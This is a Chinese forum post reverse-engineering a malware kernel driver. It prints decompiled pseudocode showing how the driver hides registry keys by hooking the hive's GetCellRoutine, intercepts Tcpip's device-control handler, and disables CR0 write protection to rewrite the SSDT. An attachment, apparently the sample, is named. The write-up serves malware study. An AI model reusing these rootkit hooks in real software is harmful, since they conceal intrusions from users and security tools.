原贴: http://bbs.pediy.com/showthread.php?t=108880
原贴分析得很详细,可是没有分析驱动,我就分析了下。
驱动很小,只有5k。
直接把驱动拉到Ida,看了再说

重点在IRP_MJ_DEVICE_CONTROL_sub_400491
// (IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
void __stdcall IRP_MJ_DEVICE_CONTROL_sub_400491(LSA_UNICODE_STRING *pDeviceObject, const WCHAR *Irp)
{
int IoControlCode; // [sp+8h] [bp-B4h]@1
wchar_t SourceString; // [sp+Ch] [bp-B0h]@11
UNICODE_STRING DestinationString; // [sp+50h] [bp-6Ch]@11
HANDLE Handle; // [sp+80h] [bp-3Ch]@10
ULONG Disposition; // [sp+84h] [bp-38h]@10
int v11; // [sp+8Ch] [bp-30h]@10
LSA_UNICODE_STRING *v12; // [sp+90h] [bp-2Ch]@10
LSA_UNICODE_STRING ValueName; // [sp+ACh] [bp-10h]@10
int Status; // [sp+B4h] [bp-8h]@1
int pCurrentStackLocation; // [sp+B8h] [bp-4h]@1
Status = 0;
pCurrentStackLocation = *((_DWORD *)Irp + 24);
IoControlCode = *(_DWORD *)(pCurrentStackLocation + 12);
switch ( IoControlCode )
{
case 2236612:
Status = Hook_Reg_sub_40087C(*((PCWSTR *)Irp + 3));// hook注册表
break;
case 2236692:
Status = Hook_Tcpip_sub_400397(*(_DWORD *)(pCurrentStackLocation + 8), *((const void **)Irp + 3));// HOOK tcp连接
break;
case 2236772:
Restore_RegHook_sub_400978(); // 恢复注册表hook
Restore_TcpipHook_sub_40046C(); // 恢复tcpip驱动hook
break;
case 2236819: // 获得函数PsLookupProcessByProcessId的地址
//
// !ustr poi(esp)
pMmGetSystemRoutineAddress_dword_400FEC = (int (__stdcall *)(_DWORD))**(_DWORD **)(pCurrentStackLocation + 16);
**((_DWORD **)Irp + 15) = KeServiceDescriptorTable;
swprintf(&SourceString, L"PsLookup%sBy%sId", L"Process", L"Process");
RtlInitUnicodeString(&DestinationString, &SourceString);
pPsLookupProcessByProcessId_dword_401014 = (int (__stdcall *)(_DWORD, _DWORD))pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString);
break;
case 2236959: // 未执行
_disable();
__asm { mov eax, cr0 }
_EAX &= 0xFFFEFFFFu;
__asm { mov cr0, eax }
memcpy(KeServiceDescriptorTable, *((const void **)Irp + 15), 4 * (_DWORD)*(&KeServiceDescriptorTable + 2));
__asm { mov eax, cr0 }
_EAX |= 0x10000u;
__asm { mov cr0, eax }
_enable();
break;
case 2237028: // 未执行
Status = sub_400C75(*((const void **)Irp + 3));
break;
case 2237532:
v11 = 0;
Handle = 0;
Disposition = 0;
v12 = &ValueName;
RtlInitUnicodeString(pDeviceObject, Irp);
return;
}
*((_DWORD *)Irp + 6) = 0;
*((_DWORD *)Irp + 7) = 0;
IofCompleteRequest((PIRP)Irp, 0);
}
NTSTATUS __stdcall Hook_Reg_sub_40087C(PCWSTR Object)这个函数刚开始看的时候,只知道hook了对象的函数,但是不知道有什么用,后来搜索了下,通过 http://bbs.pediy.com/showthread.php?t=63540 知道是为了隐藏注册表信息。而且ida里的代码跟 http://bbs.pediy.com/showthread.php?t=63540 中的代码是一样的,呵呵,看来病毒作者也是copy的。
// 通过hook来隐藏特定的注册表项
NTSTATUS __stdcall Hook_Reg_sub_40087C(PCWSTR Object)
{
NTSTATUS result; // eax@4
NTSTATUS v2; // esi@8
int pKeyControlBlock; // esi@10
int pKeyHive; // eax@11
int pKeyCell; // ST14_4@11
int (__stdcall *v6)(_DWORD, _DWORD); // ecx@11
signed int v7; // [sp-4h] [bp-34h]@3
OBJECT_ATTRIBUTES ObjectAttributes; // [sp+8h] [bp-28h]@6
UNICODE_STRING DestinationString; // [sp+20h] [bp-10h]@6
int v10; // [sp+28h] [bp-8h]@3
HANDLE Handle; // [sp+2Ch] [bp-4h]@6
if ( MinorVersion )
{
if ( MinorVersion - 1 > 1 )
return -1073741823;
v7 = 16;
v10 = 20;
}
else
{
v7 = 12;
v10 = 16;
}
Handle = 0;
RtlInitUnicodeString(&DestinationString, Object);
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 576;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
result = ZwOpenKey(&Handle, 0x20019u, &ObjectAttributes);
if ( result >= 0 && Handle )
{
v2 = ObReferenceObjectByHandle(Handle, 0x20019u, 0, 0, (PVOID *)&Object, 0);// kd> dt Object _CM_KEY_BODY
// nt!_CM_KEY_BODY
// +0x000 Type : 0x6b793032
// +0x004 KeyControlBlock : 0xe17d13c8 _CM_KEY_CONTROL_BLOCK
// +0x008 NotifyBlock : (null)
// +0x00c ProcessID : 0x00000404 Void
// +0x010 Callers : 0
// +0x014 CallerAddress : [10] (null)
// +0x03c KeyBodyList : _LIST_ENTRY [ 0xe17d13f8 - 0xe17d13f8 ]
if ( v2 >= 0 )
{
pKeyControlBlock = *((_DWORD *)Object + 1);
ObfDereferenceObject((PVOID)Object);
if ( pKeyControlBlock ) // kd> dt e17d13c8 _CM_KEY_CONTROL_BLOCK
// nt!_CM_KEY_CONTROL_BLOCK
// +0x000 RefCount : 2
// +0x004 ExtFlags : 0y00000100 (0x4)
// +0x004 PrivateAlloc : 0y1
// +0x004 Delete : 0y0
// +0x004 DelayedCloseIndex : 0y100000000000 (0x800)
// +0x004 TotalLevels : 0y0000000110 (0x6)
// +0x008 KeyHash : _CM_KEY_HASH
// +0x008 ConvKey : 0x45d06ef7
// +0x00c NextHash : (null)
// +0x010 KeyHive : 0xe1019848 _HHIVE
// +0x014 KeyCell : 0xc62d8
// +0x018 ParentKcb : 0xe101c5a8 _CM_KEY_CONTROL_BLOCK
// +0x01c NameBlock : 0xe14fb838 _CM_NAME_CONTROL_BLOCK
// +0x020 CachedSecurity : 0xe12c3008 _CM_KEY_SECURITY_CACHE
// +0x024 ValueCache : _CACHED_CHILD_LIST
// +0x02c IndexHint : 0xe155d478 _CM_INDEX_HINT_BLOCK
// +0x02c HashKey : 0xe155d478
// +0x02c SubKeyCount : 0xe155d478
// +0x030 KeyBodyListHead : _LIST_ENTRY [ 0xe161225c - 0xe161225c ]
// +0x030 FreeListEntry : _LIST_ENTRY [ 0xe161225c - 0xe161225c ]
// +0x038 KcbLastWriteTime : _LARGE_INTEGER 0x1cd0808`fcdd8930
// +0x040 KcbMaxNameLen : 0x14
// +0x042 KcbMaxValueNameLen : 0x18
// +0x044 KcbMaxValueDataLen : 0x5a
// +0x048 KcbUserFlags : 0y0000
// +0x048 KcbVirtControlFlags : 0y0000
// +0x048 KcbDebug : 0y00000000 (0)
// +0x048 Flags : 0y0000000000100000 (0x20)
{
pKeyHive = *(_DWORD *)(pKeyControlBlock + v7);// 在xp sp3下v7=16
//
// kd> dt e1019588 _HHIVE
// nt!_HHIVE
// +0x000 Signature : 0xbee0bee0
// +0x004 GetCellRoutine : 0x8062eec6 _CELL_DATA* nt!HvpGetCellMapped+0
// +0x008 ReleaseCellRoutine : 0x8062ee52 void nt!HvpReleaseCellMapped+0
// +0x00c Allocate : 0x806339ba void* nt!CmpAllocate+0
// +0x010 Free : 0x80633a06 void nt!CmpFree+0
// +0x014 FileSetSize : 0x80633422 unsigned char nt!CmpFileSetSize+0
// +0x018 FileWrite : 0x80633f6a unsigned char nt!CmpFileWrite+0
// +0x01c FileRead : 0x80633e42 unsigned char nt!CmpFileRead+0
// +0x020 FileFlush : 0x80633d00 unsigned char nt!CmpFileFlush+0
// +0x024 BaseBlock : 0xe101b000 _HBASE_BLOCK
// +0x028 DirtyVector : _RTL_BITMAP
// +0x030 DirtyCount : 0xb8
// +0x034 DirtyAlloc : 0x2a8
// +0x038 RealWrites : 0x1 ''
// +0x03c Cluster : 1
// +0x040 Flat : 0 ''
// +0x041 ReadOnly : 0 ''
// +0x042 Log : 0x1 ''
// +0x044 HiveFlags : 0
// +0x048 LogSize : 0x18000
// +0x04c RefreshCount : 0
// +0x050 StorageTypeCount : 2
// +0x054 Version : 5
// +0x058 Storage : [2] _DUAL
pKeyCell = *(_DWORD *)(pKeyControlBlock + v10);
ppGetCellRoutine_dword_400FF8 = pKeyHive + 4;// 保存指向GetCellRoutine函数地址指针的地址
//
// typedef struct _CELL_DATA* (CMAPI *PGET_CELL_ROUTINE)(
// struct _HHIVE *Hive,
// HCELL_INDEX Cell);
v6 = *(int (__stdcall **)(_DWORD, _DWORD))(pKeyHive + 4);
pHive_dword_400FF0 = pKeyHive;
pGetCellRoutin_dword_400FF4 = v6; // 保存GetCellRoutine函数地址
PCELL_DATA_dword_400FFC = v6(pKeyHive, pKeyCell);// typedef struct _CELL_DATA {
// union _u {
// CM_KEY_NODE KeyNode;
// CM_KEY_VALUE KeyValue;
// CM_KEY_SECURITY KeySecurity;
// CM_KEY_INDEX KeyIndex;
// CM_BIG_DATA ValueData;
// HCELL_INDEX KeyList[1];
// WCHAR KeyString[1];
// } u;
// } CELL_DATA, *PCELL_DATA;
// PCELL_DATA HvpGetCellMapped(IN PVOID Hive,OUT PVOID Cell)
*(_DWORD *)(pHive_dword_400FF0 + 4) = hook_GetCellRoutine_sub_400837;// 设置Hook的GetCellRoutine函数
}
ZwClose(Handle);
result = 0;
}
else
{
ZwClose(Handle);
result = v2;
}
}
return result;
}
Hook Tcpip驱动来过滤数据,可以参考帖子 http://bbs.pediy.com/showthread.php?t=138620
int __userpurge Hook_Tcpip_sub_400397<eax>(size_t a1<ebx>, const void *a2)
{
PVOID v2; // eax@2
int result; // eax@3
__int16 v4; // [sp+8h] [bp-18h]@3
__int16 v5; // [sp+Ah] [bp-16h]@3
int v6; // [sp+Ch] [bp-14h]@3
UNICODE_STRING DestinationString; // [sp+10h] [bp-10h]@2
int v8; // [sp+18h] [bp-8h]@2
int v9; // [sp+1Ch] [bp-4h]@2
if ( pMmGetSystemRoutineAddress_dword_400FEC
&& (RtlInitUnicodeString(&DestinationString, L"IoDriverObjectType"),
v9 = pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString),
RtlInitUnicodeString(&DestinationString, L"ObReferenceObjectByName"),
v8 = pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString),
v2 = ExAllocatePoolWithTag(NonPagedPoolMustSucceed, a1 + 4, 0x206B6444u),
(P = v2) != 0) )
{
memset(v2, 0, a1 + 4);
memcpy(P, a2, a1);
v4 = 26;
v5 = 28;
v6 = (int)L"\\Driver\\Tcpip";
result = ((int (__stdcall *)(__int16 *, signed int, _DWORD, signed int, int, _DWORD, _DWORD, int *))v8)(
&v4,
64,
0,
2032127,
v9,
0,
0,
&PDRIVER_OBJECT_Tcpip_dword_400FE0);// 通过名字得到tcpip的驱动对象
// NTKERNELAPI
// NTSTATUS
// ObReferenceObjectByName(
// IN PUNICODE_STRING ObjectName,
// IN ULONG Attributes,
// IN PACCESS_STATE PassedAccessState OPTIONAL,
// IN ACCESS_MASK DesiredAccess OPTIONAL,
// IN POBJECT_TYPE ObjectType,
// IN KPROCESSOR_MODE AccessMode,
// IN OUT PVOID ParseContext OPTIONAL,
// OUT PVOID *Object
// );
if ( !result )
{ // 保存原来的IRP_MJ_DEVICE_CONTROL的响应函数
pOld_IRP_MJ_DEVICE_CONTROL_dword_400FDC = *(int (__stdcall **)(_DWORD, _DWORD))(PDRIVER_OBJECT_Tcpip_dword_400FE0
+ 116);
*(_DWORD *)(PDRIVER_OBJECT_Tcpip_dword_400FE0 + 116) = hook_IRP_MJ_DEVICE_CONTROL_sub_4002A0;// 设置Hook函数
}
}
else
{
result = -1073741823;
}
return result;
}
就这么两个Hook有有营养些。另外的几个函数我下了断点,没有执行。
在此感谢上面提到的帖子的作者,,呵呵。
附件
Forter.zip
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课